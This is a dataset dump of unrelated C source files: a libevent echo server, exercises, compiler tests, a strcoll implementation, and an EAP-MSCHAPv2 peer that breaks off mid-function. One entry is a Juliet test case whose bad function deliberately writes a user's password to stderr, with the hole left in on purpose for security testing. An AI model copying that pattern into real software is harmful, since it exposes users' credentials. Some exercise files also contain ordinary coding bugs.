file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/72014043.c
|
#include <event2/listener.h>
#include <event2/bufferevent.h>
#include <event2/buffer.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
void str_toupper(char* str) {
int i;
for (i = 0; i < strlen(str); i ++) {
str[i] = toupper(str[i]);
}
}
void write_cb(struct bufferevent* bev, void* ctx) {
struct evbuffer* output = bufferevent_get_output(bev);
if (evbuffer_get_length(output) == 0) {
printf("write done!\n");
}
}
static void echo_read_cb(struct bufferevent* bev, void* ctx) {
//从 bufferevent 得到 输入缓冲区的 首地址
struct evbuffer* input = bufferevent_get_input(bev);
//从 bufferevent 得到 输出缓冲区的 首地址
struct evbuffer* output = bufferevent_get_output(bev);
char* buf = NULL;
int buf_len = 0;
//业务
//将数据 输入缓冲区 取出来,
buf_len = evbuffer_get_length(input);
buf = malloc(buf_len);
//evbuffer_copyout(input, buf, buf_len);
evbuffer_remove(input, buf, buf_len);
//小-->大
str_toupper(buf);
//写回去 输出缓冲区 底层就会自动将数据发送给对端
evbuffer_add_printf(output, "%s", buf);
//evbuffer_add_buffer(output, input);
free(buf);
}
static void echo_event_cb(struct bufferevent* bev, short events, void* ctx) {
if (events & BEV_EVENT_ERROR) perror("Error from bufferevent");
if (events & (BEV_EVENT_EOF | BEV_EVENT_ERROR)) {
bufferevent_free(bev);
}
}
static void accept_conn_cb(struct evconnlistener* listener,
evutil_socket_t fd, struct sockaddr *address, int socklen,
void *ctx) {
struct event_base* base = evconnlistener_get_base(listener);
struct bufferevent* bev = bufferevent_socket_new(base, fd, BEV_OPT_CLOSE_ON_FREE);
bufferevent_setcb(bev, echo_read_cb, write_cb, echo_event_cb, NULL);
//启动bufferevent的 事件监控
bufferevent_enable(bev, EV_READ|EV_WRITE);
}
static void accept_error_cb(struct evconnlistener *listener, void *ctx) {
struct event_base *base = evconnlistener_get_base(listener);
int err = EVUTIL_SOCKET_ERROR();
fprintf(stderr, "Got an error %d (%s) on the listener. "
"Shutting down.\n", err, evutil_socket_error_to_string(err));
event_base_loopexit(base, NULL);
}
int main(int argc, char** argv) {
struct event_base* base;
struct evconnlistener* listener;
struct sockaddr_in sin;
int port = 9876;
if (argc > 1) {
port = atoi(argv[1]);
}
if (port <= 0 || port > 65535) {
puts("Invalid port");
return 1;
}
base = event_base_new();
if (!base) {
puts("Couldn't open event base");
return 1;
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(0); //Listen on 0.0.0.0
sin.sin_port = htons(port);
//绑定一个listenner事件 指定一个linsterner事件的回调函数
listener = evconnlistener_new_bind(base, accept_conn_cb,
NULL,
LEV_OPT_CLOSE_ON_FREE|LEV_OPT_REUSEABLE, -1,
(struct sockaddr*)&sin, sizeof(sin));
if (!listener) {
perror("Couldn't create listener");
return 1;
}
evconnlistener_set_error_cb(listener, accept_error_cb);
event_base_dispatch(base);
return 0;
}
|
the_stack_data/54824548.c
|
#include <stdio.h>
#include <stdlib.h>
void delay(double);
int main(int argc, char* argv[argc + 1]) {
fputs("waiting 10 seconds for you to stop me", stdout);
if (argc < 3) {
fflush(stdout);
}
for (unsigned i = 0; i < 10; i++) {
fputs('.', stdout);
if (argc < 2) {
fflush(stdout);
}
delay(1.0);
}
fputs("\n", stdout);
fputs("You did ignore me, so bye bye\n", stdout);
return EXIT_SUCCESS;
}
void delay(double secs) {
const double magic = 4E8;
const unsigned long long nano = secs * magic;
for (unsigned long volatile count = 0; count < nano; count++) {
}
}
|
the_stack_data/3117.c
|
/* Examples of Loops with Induction Variables
The first loop includes a basic, linear induction variable ind.
The second loop includes a more generalized induction variable, which uses a
linear induction variable as the increment.
*/
int main(){
int i= 0;
int j = i;
return 0;
}
|
the_stack_data/29824442.c
|
/* { dg-do compile } */
/* { dg-options "-march=x86-64 -mhle" } */
/* { dg-final { scan-assembler "lock;?\[ \n\t\]+\(xrelease\|\.byte\[ \t\]+0xf3\)\[ \t\n\]+cmpxchg" } } */
int
hle_cmpxchg (int *p, int oldv, int newv)
{
return __atomic_compare_exchange_n (p, &oldv, newv, 0, __ATOMIC_RELEASE | __ATOMIC_HLE_RELEASE, __ATOMIC_ACQUIRE);
}
|
the_stack_data/193892594.c
|
// gimpdouble.c
// examples of gimp's usage of doubles and enums
typedef enum {
ZERO,
ONE
} Something;
int main()
{
double d;
Something s;
d = ZERO;
s = d;
return s;
}
|
the_stack_data/772599.c
|
// This file is part of CPAchecker,
// a tool for configurable software verification:
// https://cpachecker.sosy-lab.org
//
// SPDX-FileCopyrightText: 2007-2020 Dirk Beyer <https://www.sosy-lab.org>
//
// SPDX-License-Identifier: Apache-2.0
#include <stdlib.h>
#include <stdio.h>
//typedef unsigned int size_t;
//extern __attribute__((__nothrow__)) void *malloc(size_t __size ) __attribute__((__malloc__)) ;
struct node {
int* ptr;
};
int main() {
struct node f;
struct node* tmp;
int t = 3;
int* ptr = &t;
f.ptr = ptr;
tmp = &f;
t = 5;
if (*(tmp->ptr) != 5) {
goto ERROR;
}
printf ("SAFE\n");
return 0;
ERROR:
printf ("UNSAFE\n");
ERROR2:
goto ERROR2;
return 1;
}
|
the_stack_data/57951038.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_memdel.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jblack-b <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/11/29 15:48:18 by jblack-b #+# #+# */
/* Updated: 2018/12/03 14:31:34 by olesgedz ### ########.fr */
/* */
/* ************************************************************************** */
#include <stdlib.h>
void ft_memdel(void **ap)
{
if (ap != NULL)
{
free(*ap);
*ap = NULL;
}
}
|
the_stack_data/232954941.c
|
#include<stdio.h>
char* ReverseOfString(char str1[]);
int main()
{
#define MAX 100
char str1[MAX],*revstr;
printf("\n\n Recursion : Get reverse of a string :\n");
printf("------------------------------------------\n");
printf(" Input any string: ");
scanf("%s",&str1);
revstr = ReverseOfString(str1);//call the function ReverseOfString
printf(" The reversed string is: %s\n\n",revstr);
return 0;
}
char* ReverseOfString(char str1[])
{
static int i=0;
static char revstr[MAX];
if(*str1)
{
ReverseOfString(str1+1);//calling the function ReverseOfString itself
revstr[i++] = *str1;
}
return revstr;
}
|
the_stack_data/104827655.c
|
/* $OpenBSD: strcoll.c,v 1.6 2015/08/31 02:53:57 guenther Exp $ */
/*-
* Copyright (c) 1990 The Regents of the University of California.
* All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Chris Torek.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <string.h>
/*
* Compare strings according to LC_COLLATE category of current locale.
*/
int
strcoll(const char *s1, const char *s2)
{
/* LC_COLLATE is unimplemented, hence always "C" */
return (strcmp(s1, s2));
}
DEF_STRONG(strcoll);
|
the_stack_data/62592.c
|
#include <stdio.h>
#include <stdlib.h>
int main()
{
int i, j,n=11;
float M[12][12],S=0, Med=0;
char c;
scanf("%c", &c);
for(i=0; i<12; i++)
{
for(j=0;j<12;j++)
{
scanf("%f", &M[i][j]);
if(j>n){
if(c=='M')
Med+=M[i][j];
else //if(c=='S')
S+=M[i][j];
}
}
n--;
}
Med=Med/66;
if(c=='M'){
printf("%.1f\n",Med);
}
else //if(c=='S')
printf("%d",S);
return 0;
}
|
the_stack_data/51700993.c
|
//
// Created by Vladimir-HP on 29/12/2020.
//
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define MAX 100
#define MIN -100
void fillArray(int array[], int n);
void printArray(int array[], int n);
void merge(int *array, int left, int mid, int right);
void mergeSort(int *array, int left, int right);
int main() {
// Intializes random number generator
srand(time(NULL));
clock_t start, end;
int n;
printf("Number of elements in an array:");
scanf("%d", &n);
int array[n];
fillArray(array, n);
printf("Unsorted array:\n");
printArray(array, n);
// Calculate the time taken by algorithm
// Start measuring time
start = clock();
mergeSort(array, 0, n - 1);
end = clock();
// Stop measuring time and calculate the elapsed time
double elapsedTime = (double) (end - start) / CLOCKS_PER_SEC;
printf("Sorted array:\n");
printArray(array, n);
printf("Total time taken by CPU: %.20fs.\n", elapsedTime); // time in seconds
printf("Total time taken by CPU: %.20fms.\n", elapsedTime * 1000.0); // time in milliseconds
exit(EXIT_SUCCESS);
}
void fillArray(int array[], int n) {
for (int i = 0; i < n; ++i)
array[i] = rand() % (MAX - MIN + 1) + MIN;
}
void printArray(int array[], int n) {
for (int i = 0; i < n; ++i)
printf(" %d", array[i]);
printf("\n\n");
}
// Perform merge of segments
void merge(int *array, int left, int mid, int right) {
int i, j, k;
int *arr1, *arr2;
int n1 = mid - left + 1;
int n2 = right - mid;
arr1 = (int*)malloc(sizeof (int)*n1);
arr2 = (int*)malloc(sizeof (int)*n2);
for (i = 0; i < n1; i++)
arr1[i] = array[left + i];
for (j = 0; j < n2; j++)
arr2[j] = array[mid + j + 1];
i = 0;
j = 0;
k = left;
while (i < n1 && j < n2) {
if (arr1[i] <= arr2[j]) {
array[k] = arr1[i];
i++;
} else {
array[k] = arr2[j];
j++;
}
k++;
}
while (i < n1) {
array[k] = arr1[i];
i++;
k++;
}
while (j < n2) {
array[k] = arr2[j];
j++;
k++;
}
free(arr1);
free(arr2);
}
void mergeSort(int *array, int left, int right) {
if (left < right) {
int mid = left + (right - left) / 2;
mergeSort(array, left, mid);
mergeSort(array, mid + 1, right);
merge(array, left, mid, right);
}
}
|
the_stack_data/37638847.c
|
#include <stdio.h>
#include <stdbool.h>
int main() {
/*
Logical Operator && (AND) checks if two conditions are true
float temp = 25;
bool sunny = false;
if(temp >= 0 && temp <= 30 && sunny) {
printf("The weather is good");
}
else{
printf("The weather is bad!");
}
*/
/* Logical Operator || (OR) checks if at least one condition is true
float temp = -10;
bool sunny = false;
if(temp >= 0 || sunny) {
printf("The weather is good");
}
else{
printf("The weather is bad!");
}
*/
bool sunny = false;
if(!sunny){
printf("It's cloudy outside");
}
else{
printf("It's sunny outside");
}
return 0;
}
|
the_stack_data/90762839.c
|
/* Exercise 1 - Calculations
Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */
#include <stdio.h>
int main() {
float avg;
int mark1,mark2;
printf("Enter Marks : ");
scanf("%d %d",&mark1,&mark2);
avg = (mark1 + mark2)/2.0;
printf("Average : %.2f",avg);
return 0;
}
|
the_stack_data/107952325.c
|
/*! \mainpage libspdy
* \section intro_sec Introduction
* Libspdy is in early work in progress, but if you like living on the
* bleeding edge you can check out the git repo:
* - git clone http://libspdy.org/git/ libspdy
*
* Libspdy is a C implementation of Googles SPDY protocol. Its main goals are:
* - Completely implementing the SPDY protocol standard.
* - Being lightweight: As few dependencies as possible. (Right now: zlib (and gzip coming up), as well as Check for the unit tests.)
* - High testcoverage: Every function is tested.
* - Unittests using Check
* - Coverage check using LCOV
* - Compiler independent:
* - Tested with gcc and clang
* - Platform independent:
* - Tested on Linux, Mac OS X and Windows 7.
* - Good documentation: The API documentation itself and the code should be as documented as possible - without cluttering the source.
*
* If you want to learn more about SPDY, check out the official site by Google: http://www.chromium.org/spdy/
* Standard implemented by the latest version: http://www.chromium.org/spdy/spdy-protocol/spdy-protocol-draft2
*
* Author: Thomas Roth <[email protected]>
*/
|
the_stack_data/50137534.c
|
// SAMATE Juliet test cases for rule CWE-497.
// library functions etc
typedef struct {} FILE;
// define stdout, stderr in a similar style to MinGW
FILE std_files[2];
#define stdin (&std_files[0])
#define stderr (&std_files[1])
typedef unsigned long size_t;
size_t strlen(const char *s);
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
char *fgets(char *s, int n, FILE *stream);
typedef struct {} *HANDLE;
int LogonUserA(const char *lpszUserName, const char *lpszDomain, const char *lpszPassword, int dwLogonType, int dwLogonProvider, HANDLE *phToken);
void CloseHandle(HANDLE h);
#define NULL (0)
#define LOGON32_LOGON_NETWORK (1)
#define LOGON32_PROVIDER_DEFAULT (2)
void printLine(const char * line)
{
if(line != NULL)
{
printf("%s\n", line);
}
}
void CWE535_Info_Exposure_Shell_Error__w32_char_01_bad()
{
{
char password[100] = "";
size_t passwordLen = 0;
HANDLE pHandle;
char * username = "User";
char * domain = "Domain";
if (fgets(password, 100, stdin) == NULL)
{
printLine("fgets() failed");
/* Restore NUL terminator if fgets fails */
password[0] = '\0';
}
/* Remove the carriage return from the string that is inserted by fgets() */
passwordLen = strlen(password);
if (passwordLen > 0)
{
password[passwordLen-1] = '\0';
}
/* Use the password in LogonUser() to establish that it is "sensitive" */
if (LogonUserA(
username,
domain,
password,
LOGON32_LOGON_NETWORK,
LOGON32_PROVIDER_DEFAULT,
&pHandle) != 0)
{
printLine("User logged in successfully.");
CloseHandle(pHandle);
}
else
{
printLine("Unable to login.");
}
/* FLAW: Write sensitive data to stderr */
fprintf(stderr, "User attempted access with password: %s\n", password);
}
}
|
the_stack_data/9660.c
|
#if DONT_HIDE_TESTCASE
// from freestdf-libstdf examples folder
// gcc -Wall createTestcase.c -I.. -I../include ../src/.libs/libstdf.a -lz -lbz2
// from eclipse workspace (not src)
// gcc -O3 -Wall createTestcase.c -I../freestdf-libstdf -I../freestdf-libstdf/include ../freestdf-libstdf/src/.libs/libstdf.a -lz -lbz2
#include <config.h>
#include <libstdf.h>
#include <internal/headers.h>
int main(int argc, char *argv[]){
#ifdef SMALL_TESTCASE
stdf_file *f = stdf_open_ex("testcaseSmall.stdf", STDF_OPTS_WRITE | STDF_OPTS_CREATE, 0664);
#else
stdf_file *f = stdf_open_ex("testcase.stdf", STDF_OPTS_WRITE | STDF_OPTS_CREATE, 0664);
#endif
if (!f) fprintf(stderr, "failed to open output file\n");
// === write FAR ===
stdf_rec_far a = { };
a.CPU_TYPE = STDF_CPU_TYPE_X86;
a.STDF_VER = 4;
stdf_init_header(a.header, STDF_REC_FAR);
stdf_write_record(f, &a);
char buf[256];
char buf2[256];
char empty[256];
sprintf(empty, "%s", "x");
empty[0] = (unsigned char) (strlen(empty) - 1);
int partId = 1;
int siteMax = 4;
#ifdef SMALL_TESTCASE
int partIdMax = 30;
int testNumMax = 20;
#else
int partIdMax = 30000;
int testNumMax = 2000;
#endif
while (partId < partIdMax) {
for (int site = 1; site <= siteMax; ++site){ // === write PIR (insertion) ===
stdf_rec_pir a = { };
a.HEAD_NUM = 1;
a.SITE_NUM = site;
stdf_init_header(a.header, STDF_REC_PIR);
stdf_write_record(f, &a);
}
for (int site = 1; site <= siteMax; ++site) {
for (int testNum = 11; testNum < testNumMax; testNum += 1) {
// === write test data ===
stdf_rec_ptr a = { };
stdf_init_header(a.header, STDF_REC_PTR);
sprintf(buf, "xThisIsTheTestdescriptionWhichIsRepeatedManyTimesForTest%i", testNum);
buf[0] = (unsigned char) strlen(buf + 1);
sprintf(buf2, "xmyUnit%i", testNum);
buf2[0] = (unsigned char) strlen(buf2 + 1);
a.HEAD_NUM = 1;
a.SITE_NUM = site;
a.RESULT = 40000 + testNum + ((float)(partId+site)/3.0f);
a.TEST_NUM = testNum;
a.TEST_TXT = buf;
a.ALARM_ID = (empty);
a.C_RESFMT = (empty);
a.C_LLMFMT = (empty);
a.C_HLMFMT = (empty);
a.LO_LIMIT = 1000 + 0.1*testNum;
a.HI_LIMIT = 2000 + 0.1*testNum;
a.UNITS = (buf2);
stdf_write_record(f, &a);
} // for testNum
} // for site
for (int site = 1; site <= siteMax; ++site) {
// === write removal / result (binning) ===
stdf_rec_prr a = { };
sprintf(buf, "xmyId%i", partId+(site-1));
buf[0] = (unsigned char) strlen(buf);
a.HEAD_NUM = 1;
a.SITE_NUM = site;
a.SOFT_BIN = 123;
a.HARD_BIN = 456;
a.PART_ID = (buf);
a.PART_TXT = empty;
a.PART_FIX = (stdf_dtc_Bn) empty;
stdf_init_header(a.header, STDF_REC_PRR);
stdf_write_record(f, &a);
} // for site
partId += siteMax;
} // while partId
printf("closing\n");fflush(stdout);
stdf_close(f);
printf("closed\n");
fflush(stdout);
return EXIT_SUCCESS;
}
#endif
|
the_stack_data/170452082.c
|
/*** cgetuser procedure ***/
#include <stdio.h>
#include <string.h>
extern char *cuserid(char *); /* prototype non standard function that
is supported on most platforms */
/*
data is passed back vi the following global structures, which correspond
to the various naming conventions for FORTRAN compilers when creating
the object file name of a COMMON called /c_userid/
*/
struct { char user[11]; } c_userid ;
struct { char user[11]; } c_userid_ ;
struct { char user[11]; } _c_userid ;
struct { char user[11]; } _c_userid_ ;
struct { char user[11]; } _Cc_userid ;
#ifndef L_cuserid
#define L_cuserid 11
#endif
#ifdef UNDERSCORE
void cgetuser_()
#else
void cgetuser()
#endif
{
char s[L_cuserid] ;
cuserid(s);
strncpy( c_userid.user, s, 10 );
strncpy( c_userid_.user, s, 10 );
strncpy( _c_userid.user, s, 10 );
strncpy( _c_userid_.user, s, 10 );
strncpy( _Cc_userid.user, s, 10 );
return;
}
|
the_stack_data/76021.c
|
/*
* Created by Meissa project team in 2020
*/
#include <sys/types.h>
#include <unistd.h>
int
main()
{
sysconf(_SC_NPROCESSORS_ONLN);
return 0;
}
|
the_stack_data/179832164.c
|
/*
* EAP peer method: EAP-MSCHAPV2 (draft-kamath-pppext-eap-mschapv2-00.txt)
* Copyright (c) 2004-2008, 2012, Jouni Malinen <[email protected]>
*
* This software may be distributed under the terms of the BSD license.
* See README for more details.
*/
#ifdef EAP_MSCHAPv2
#include "rsn_supp/wpa.h"
#include "utils/includes.h"
#include "utils/common.h"
#include "crypto/random.h"
#include "crypto/ms_funcs.h"
#include "tls/tls.h"
#include "eap_peer/eap_i.h"
#include "eap_peer/eap_defs.h"
#include "eap_peer/eap_tls_common.h"
#include "eap_peer/eap_config.h"
#include "eap_peer/mschapv2.h"
#include "eap_peer/eap_methods.h"
#define MSCHAPV2_OP_CHALLENGE 1
#define MSCHAPV2_OP_RESPONSE 2
#define MSCHAPV2_OP_SUCCESS 3
#define MSCHAPV2_OP_FAILURE 4
#define MSCHAPV2_OP_CHANGE_PASSWORD 7
#define PASSWD_CHANGE_CHAL_LEN 16
#define MSCHAPV2_KEY_LEN 16
#define ERROR_RESTRICTED_LOGON_HOURS 646
#define ERROR_ACCT_DISABLED 647
#define ERROR_PASSWD_EXPIRED 648
#define ERROR_NO_DIALIN_PERMISSION 649
#define ERROR_AUTHENTICATION_FAILURE 691
#define ERROR_CHANGING_PASSWORD 709
struct eap_mschapv2_hdr {
u8 op_code;
u8 mschapv2_id;
u8 ms_length[2];
} __packed;
struct ms_response {
u8 peer_challenge[MSCHAPV2_CHAL_LEN];
u8 reserved[8];
u8 nt_response[MSCHAPV2_NT_RESPONSE_LEN];
u8 flags;
} __packed;
struct ms_change_password {
u8 encr_password[516];
u8 encr_hash[16];
u8 peer_challenge[MSCHAPV2_CHAL_LEN];
u8 reserved[8];
u8 nt_response[MSCHAPV2_NT_RESPONSE_LEN];
u8 flags[2];
} __packed;
struct eap_mschapv2_data {
u8 auth_response[MSCHAPV2_AUTH_RESPONSE_LEN];
int auth_response_valid;
int prev_error;
u8 passwd_change_challenge[PASSWD_CHANGE_CHAL_LEN];
int passwd_change_challenge_valid;
int passwd_change_version;
u8 *peer_challenge;
u8 *auth_challenge;
int phase2;
u8 master_key[MSCHAPV2_MASTER_KEY_LEN];
int master_key_valid;
int success;
struct wpabuf *prev_challenge;
};
static void
eap_mschapv2_deinit(struct eap_sm *sm, void *priv)
{
struct eap_mschapv2_data *data = priv;
os_free(data->peer_challenge);
os_free(data->auth_challenge);
wpabuf_free(data->prev_challenge);
os_free(data);
}
static void *
eap_mschapv2_init(struct eap_sm *sm)
{
struct eap_mschapv2_data *data;
//Do not init insecure unencapsulated MSCHAPv2 as Phase 1 method, only init if Phase 2
if(!sm->init_phase2)
return NULL;
data = (struct eap_mschapv2_data *)os_zalloc(sizeof(*data));
if (data == NULL)
return NULL;
data->phase2 = sm->init_phase2;
return data;
}
static struct wpabuf *
eap_mschapv2_challenge_reply(
struct eap_sm *sm, struct eap_mschapv2_data *data,
u8 id, u8 mschapv2_id, const u8 *auth_challenge)
{
struct wpabuf *resp;
struct eap_mschapv2_hdr *ms;
u8 *peer_challenge;
int ms_len;
struct ms_response *r;
size_t identity_len, password_len;
const u8 *identity, *password;
int pwhash;
wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Generate Challenge Response\n");
identity = eap_get_config_identity(sm, &identity_len);
password = eap_get_config_password2(sm, &password_len, &pwhash);
if (identity == NULL || password == NULL)
return NULL;
ms_len = sizeof(*ms) + 1 + sizeof(*r) + identity_len;
resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2,
ms_len, EAP_CODE_RESPONSE, id);
if (resp == NULL)
return NULL;
ms = wpabuf_put(resp, sizeof(*ms));
ms->op_code = MSCHAPV2_OP_RESPONSE;
ms->mschapv2_id = mschapv2_id;
if (data->prev_error)
ms->mschapv2_id++;
WPA_PUT_BE16(ms->ms_length, ms_len);
wpabuf_put_u8(resp, sizeof(*r));
/* Response */
r = wpabuf_put(resp, sizeof(*r));
peer_challenge = r->peer_challenge;
if (data->peer_challenge) {
peer_challenge = data->peer_challenge;
os_memset(r->peer_challenge, 0, MSCHAPV2_CHAL_LEN);
} else if (random_get_bytes(peer_challenge, MSCHAPV2_CHAL_LEN)) {
wpabuf_free(resp);
return NULL;
}
os_memset(r->reserved, 0, 8);
if (data->auth_challenge)
auth_challenge = data->auth_challenge;
if (mschapv2_derive_response(identity, identity_len, password,
password_len, pwhash, auth_challenge,
peer_challenge, r->nt_response,
data->auth_response, data->master_key)) {
wpabuf_free(resp);
return NULL;
}
data->auth_response_valid = 1;
data->master_key_valid = 1;
r->flags = 0;
wpabuf_put_data(resp, identity, identity_len);
return resp;
}
static struct wpabuf *
eap_mschapv2_challenge(
struct eap_sm *sm, struct eap_mschapv2_data *data,
struct eap_method_ret *ret, const struct eap_mschapv2_hdr *req,
size_t req_len, u8 id)
{
size_t len, challenge_len;
const u8 *pos, *challenge;
if (eap_get_config_identity(sm, &len) == NULL ||
eap_get_config_password(sm, &len) == NULL)
return NULL;
if (req_len < sizeof(*req) + 1) {
ret->ignore = true;
return NULL;
}
pos = (const u8 *)(req + 1);
challenge_len = *pos++;
len = req_len - sizeof(*req) - 1;
if (challenge_len != MSCHAPV2_CHAL_LEN) {
ret->ignore = true;
return NULL;
}
if (len < challenge_len) {
ret->ignore = true;
return NULL;
}
if (data->passwd_change_challenge_valid)
challenge = data->passwd_change_challenge;
else
challenge = pos;
pos += challenge_len;
len -= challenge_len;
ret->ignore = false;
ret->methodState = METHOD_MAY_CONT;
ret->decision = DECISION_FAIL;
ret->allowNotifications = true;
return eap_mschapv2_challenge_reply(sm, data, id, req->mschapv2_id,
challenge);
}
static void
eap_mschapv2_password_changed(struct eap_sm *sm,
struct eap_mschapv2_data *data)
{
struct eap_peer_config *config = eap_get_config(sm);
if (config && config->new_password) {
data->prev_error = 0;
os_free(config->password);
if (config->flags & EAP_CONFIG_FLAGS_EXT_PASSWORD) {
} else if (config->flags & EAP_CONFIG_FLAGS_PASSWORD_NTHASH) {
config->password = os_malloc(16);
config->password_len = 16;
if (config->password) {
nt_password_hash(config->new_password,
config->new_password_len,
config->password);
}
os_free(config->new_password);
} else {
config->password = config->new_password;
config->password_len = config->new_password_len;
}
config->new_password = NULL;
config->new_password_len = 0;
}
}
static struct wpabuf *
eap_mschapv2_success(struct eap_sm *sm,
struct eap_mschapv2_data *data,
struct eap_method_ret *ret,
const struct eap_mschapv2_hdr *req,
size_t req_len, u8 id)
{
struct wpabuf *resp;
const u8 *pos;
size_t len;
len = req_len - sizeof(*req);
pos = (const u8 *)(req + 1);
if (!data->auth_response_valid ||
mschapv2_verify_auth_response(data->auth_response, pos, len)) {
ret->methodState = METHOD_NONE;
ret->decision = DECISION_FAIL;
return NULL;
}
pos += 2 + 2 * MSCHAPV2_AUTH_RESPONSE_LEN;
len -= 2 + 2 * MSCHAPV2_AUTH_RESPONSE_LEN;
while (len > 0 && *pos == ' ') {
pos++;
len--;
}
resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, 1,
EAP_CODE_RESPONSE, id);
if (resp == NULL) {
ret->ignore = true;
return NULL;
}
wpabuf_put_u8(resp, MSCHAPV2_OP_SUCCESS);
ret->methodState = METHOD_DONE;
ret->decision = DECISION_UNCOND_SUCC;
ret->allowNotifications = false;
data->success = 1;
if (data->prev_error == ERROR_PASSWD_EXPIRED)
eap_mschapv2_password_changed(sm, data);
return resp;
}
static int
eap_mschapv2_failure_txt(struct eap_sm *sm,
struct eap_mschapv2_data *data, char *txt)
{
char *pos;
int retry = 1;
struct eap_peer_config *config = eap_get_config(sm);
pos = txt;
if (pos && os_strncmp(pos, "E=", 2) == 0) {
pos += 2;
data->prev_error = atoi(pos);
pos = (char *)os_strchr(pos, ' ');
if (pos)
pos++;
}
if (pos && os_strncmp(pos, "R=", 2) == 0) {
pos += 2;
retry = atoi(pos);
pos = (char *)os_strchr(pos, ' ');
if (pos)
pos++;
}
if (pos && os_strncmp(pos, "C=", 2) == 0) {
int hex_len;
pos += 2;
hex_len = (char *)os_strchr(pos, ' ') - (char *)pos;
if (hex_len == PASSWD_CHANGE_CHAL_LEN * 2) {
if (hexstr2bin(pos, data->passwd_change_challenge,
PASSWD_CHANGE_CHAL_LEN)) {
wpa_printf(MSG_ERROR, "EAP-MSCHAPV2: invalid failure challenge\n");
} else {
data->passwd_change_challenge_valid = 1;
}
} else {
wpa_printf(MSG_ERROR, "EAP-MSCHAPV2: required challenge field "
"was not present in failure message\n");
}
}
if (pos && os_strncmp(pos, "V=", 2) == 0) {
pos += 2;
data->passwd_change_version = atoi(pos);
pos = (char *)os_strchr(pos, ' ');
if (pos)
pos++;
}
if (pos && os_strncmp(pos, "M=", 2) == 0) {
pos += 2;
}
if (data->prev_error == ERROR_PASSWD_EXPIRED &&
data->passwd_change_version == 3 && config) {
if (config->new_password == NULL) {
wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Password expired - "
"password change reqired\n");
}
} else if (retry == 1 && config) {
if (!config->mschapv2_retry)
config->mschapv2_retry = 1;
} else if (config) {
config->mschapv2_retry = 0;
}
return retry == 1;
}
static struct wpabuf *
eap_mschapv2_change_password(
struct eap_sm *sm, struct eap_mschapv2_data *data,
struct eap_method_ret *ret, const struct eap_mschapv2_hdr *req, u8 id)
{
struct wpabuf *resp;
int ms_len;
const u8 *username, *password, *new_password;
size_t username_len, password_len, new_password_len;
struct eap_mschapv2_hdr *ms;
struct ms_change_password *cp;
u8 password_hash[16], password_hash_hash[16];
int pwhash;
username = eap_get_config_identity(sm, &username_len);
password = eap_get_config_password2(sm, &password_len, &pwhash);
new_password = eap_get_config_new_password(sm, &new_password_len);
if (username == NULL || password == NULL || new_password == NULL)
return NULL;
username = mschapv2_remove_domain(username, &username_len);
ret->ignore = false;
ret->methodState = METHOD_MAY_CONT;
ret->decision = DECISION_COND_SUCC;
ret->allowNotifications = TRUE;
ms_len = sizeof(*ms) + sizeof(*cp);
resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, ms_len,
EAP_CODE_RESPONSE, id);
if (resp == NULL)
return NULL;
ms = wpabuf_put(resp, sizeof(*ms));
ms->op_code = MSCHAPV2_OP_CHANGE_PASSWORD;
ms->mschapv2_id = req->mschapv2_id + 1;
WPA_PUT_BE16(ms->ms_length, ms_len);
cp = wpabuf_put(resp, sizeof(*cp));
if (pwhash) {
if (encrypt_pw_block_with_password_hash(
new_password, new_password_len,
password, cp->encr_password))
goto fail;
} else {
if (new_password_encrypted_with_old_nt_password_hash(
new_password, new_password_len,
password, password_len, cp->encr_password))
goto fail;
}
if (pwhash) {
u8 new_password_hash[16];
nt_password_hash(new_password, new_password_len,
new_password_hash);
nt_password_hash_encrypted_with_block(password,
new_password_hash,
cp->encr_hash);
} else {
old_nt_password_hash_encrypted_with_new_nt_password_hash(
new_password, new_password_len,
password, password_len, cp->encr_hash);
}
if (random_get_bytes(cp->peer_challenge, MSCHAPV2_CHAL_LEN))
goto fail;
os_memset(cp->reserved, 0, 8);
generate_nt_response(data->passwd_change_challenge, cp->peer_challenge,
username, username_len, new_password,
new_password_len, cp->nt_response);
generate_authenticator_response(new_password, new_password_len,
cp->peer_challenge,
data->passwd_change_challenge,
username, username_len,
